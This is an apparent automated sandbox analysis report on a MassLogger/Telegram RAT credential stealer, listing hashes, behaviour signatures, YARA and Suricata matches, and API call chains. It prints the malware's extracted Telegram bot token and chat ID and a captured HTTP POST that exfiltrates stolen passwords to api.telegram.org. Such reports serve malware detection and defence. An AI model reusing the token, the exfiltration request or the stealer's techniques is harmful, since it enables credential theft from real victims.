Edit tour

Windows Analysis Report
y1jQC8Y6bP.exe

Overview

General Information

Sample name:	y1jQC8Y6bP.exe renamed because original name is a hash value
Original sample name:	0487de8a46d306ea67cb86123e7457ac110a6915788fc408e1dbed914df0d615.exe
Analysis ID:	1588011
MD5:	71433d92643320e4c7a9e30c1120961d
SHA1:	d69bdac013b4b9dadf043d388d4b9038bb35adb5
SHA256:	0487de8a46d306ea67cb86123e7457ac110a6915788fc408e1dbed914df0d615
Tags:	exeMassLoggeruser-adrian__luca
Infos:

Detection

MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evaded block containing many API calls

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

y1jQC8Y6bP.exe (PID: 6952 cmdline: "C:\Users\user\Desktop\y1jQC8Y6bP.exe" MD5: 71433D92643320E4C7A9E30C1120961D)

RegSvcs.exe (PID: 4836 cmdline: "C:\Users\user\Desktop\y1jQC8Y6bP.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg", "Telegram Chatid": "5839829477"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xef73:$a1: get_encryptedPassword 0xf29b:$a2: get_encryptedUsername 0xed0e:$a3: get_timePasswordChanged 0xee2f:$a4: get_passwordField 0xef89:$a5: set_encryptedPassword 0x108e5:$a7: get_logins 0x10596:$a8: GetOutlookPasswords 0x10388:$a9: StartKeylogger 0x10835:$a10: KeyLoggerEventArgs 0x103e5:$a11: KeyLoggerEventArgsEventHandler
00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
Process Memory Space: y1jQC8Y6bP.exe PID: 6952	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: y1jQC8Y6bP.exe PID: 6952	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: y1jQC8Y6bP.exe PID: 6952	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: y1jQC8Y6bP.exe PID: 6952	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1a2f4c:$a1: get_encryptedPassword 0x1a3265:$a2: get_encryptedUsername 0x1a2cfb:$a3: get_timePasswordChanged 0x1a2e1c:$a4: get_passwordField 0x1a2f62:$a5: set_encryptedPassword 0x1a4865:$a7: get_logins 0x1a4516:$a8: GetOutlookPasswords 0x1a4308:$a9: StartKeylogger 0x1a47b5:$a10: KeyLoggerEventArgs 0x1a4365:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 4836	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 4836	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 4836	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 4836	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x1e6d6:$a1: get_encryptedPassword 0x1e9ef:$a2: get_encryptedUsername 0x1e485:$a3: get_timePasswordChanged 0x1e5a6:$a4: get_passwordField 0x1e6ec:$a5: set_encryptedPassword 0x1ffef:$a7: get_logins 0x1fca0:$a8: GetOutlookPasswords 0x1fa92:$a9: StartKeylogger 0x1ff3f:$a10: KeyLoggerEventArgs 0x1faef:$a11: KeyLoggerEventArgsEventHandler
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.y1jQC8Y6bP.exe.11d0000.1.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.y1jQC8Y6bP.exe.11d0000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.y1jQC8Y6bP.exe.11d0000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.y1jQC8Y6bP.exe.11d0000.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd373:$a1: get_encryptedPassword 0xd69b:$a2: get_encryptedUsername 0xd10e:$a3: get_timePasswordChanged 0xd22f:$a4: get_passwordField 0xd389:$a5: set_encryptedPassword 0xece5:$a7: get_logins 0xe996:$a8: GetOutlookPasswords 0xe788:$a9: StartKeylogger 0xec35:$a10: KeyLoggerEventArgs 0xe7e5:$a11: KeyLoggerEventArgsEventHandler
0.2.y1jQC8Y6bP.exe.11d0000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12325:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11823:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b31:$a4: \Orbitum\User Data\Default\Login Data 0x12929:$a5: \Kometa\User Data\Default\Login Data
2.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
2.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
2.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
2.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
2.2.RegSvcs.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
Click to see the 10 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:31:19.250413+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.7	49713	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:31:10.898786+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49700	193.122.130.0	80	TCP
2025-01-10T20:31:18.242631+0100	2803274	2	Potentially Bad Traffic	192.168.2.7	49700	193.122.130.0	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:31:18.911551+0100	1810008	1	Potentially Bad Traffic	192.168.2.7	49713	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31837185c414Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: RegSvcs.exe, 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: RegSvcs.exe, 00000002.00000002.3723875878.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: RegSvcs.exe, 00000002.00000002.3723875878.0000000002F84000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3723875878.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegSvcs.exe, 00000002.00000002.3723875878.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: y1jQC8Y6bP.exe, 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 00000002.00000002.3723875878.0000000002FB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: RegSvcs.exe, 00000002.00000002.3723875878.0000000002F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: RegSvcs.exe, 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: y1jQC8Y6bP.exe, 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: RegSvcs.exe, 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839
Source: RegSvcs.exe, 00000002.00000002.3723875878.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: y1jQC8Y6bP.exe, 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.3723875878.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegSvcs.exe, 00000002.00000002.3723875878.0000000002F90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189

Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49713 version: TLS 1.2

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_00604164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00604164

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_00604164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00604164

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_00603F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00603F66

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005F001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_005F001C

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_0061CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0061CABC

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.y1jQC8Y6bP.exe.11d0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.y1jQC8Y6bP.exe.11d0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.y1jQC8Y6bP.exe.11d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: Process Memory Space: y1jQC8Y6bP.exe PID: 6952, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 4836, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00593B3A
Source: y1jQC8Y6bP.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: y1jQC8Y6bP.exe, 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_d779004b-5
Source: y1jQC8Y6bP.exe, 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_a3109556-0
Source: y1jQC8Y6bP.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_f2effa84-1
Source: y1jQC8Y6bP.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_7f7bd01f-3

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005FA1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_005FA1EF

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005E8310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_005E8310

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe

Code function: 0_2_005F51BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_005F51BD

Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_0059E6A0	0_2_0059E6A0
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005BD975	0_2_005BD975
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005B21C5	0_2_005B21C5
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005C62D2	0_2_005C62D2
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_006103DA	0_2_006103DA
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005C242E	0_2_005C242E
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005B25FA	0_2_005B25FA
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005EE616	0_2_005EE616
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005A66E1	0_2_005A66E1
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005C878F	0_2_005C878F
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005C6844	0_2_005C6844
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_00610857	0_2_00610857
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005A8808	0_2_005A8808
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005F8889	0_2_005F8889
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005BCB21	0_2_005BCB21
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005C6DB6	0_2_005C6DB6
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005A6F9E	0_2_005A6F9E
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005A3030	0_2_005A3030
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005BF1D9	0_2_005BF1D9
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005B3187	0_2_005B3187
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_00591287	0_2_00591287
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005B1484	0_2_005B1484
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005A5520	0_2_005A5520
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005B7696	0_2_005B7696
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005A5760	0_2_005A5760
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005B1978	0_2_005B1978
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005C9AB5	0_2_005C9AB5
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_0059FCE0	0_2_0059FCE0
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_00617DDB	0_2_00617DDB
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005B1D90	0_2_005B1D90
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005BBDA6	0_2_005BBDA6
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_0059DF00	0_2_0059DF00
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_005A3FE0	0_2_005A3FE0
Source: C:\Users\user\Desktop\y1jQC8Y6bP.exe	Code function: 0_2_011C3640	0_2_011C3640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_013860E0	2_2_013860E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_01384328	2_2_01384328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_01388DA0	2_2_01388DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_01385968	2_2_01385968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_013827B9	2_2_013827B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_01382DD1	2_2_01382DD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FC668	2_2_054FC668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054F0040	2_2_054F0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FC010	2_2_054FC010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054F7210	2_2_054F7210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054F2CF0	2_2_054F2CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FEE70	2_2_054FEE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054F78E0	2_2_054F78E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FE5C0	2_2_054FE5C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FE5B2	2_2_054FE5B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_054FD450	2_2_054FD450
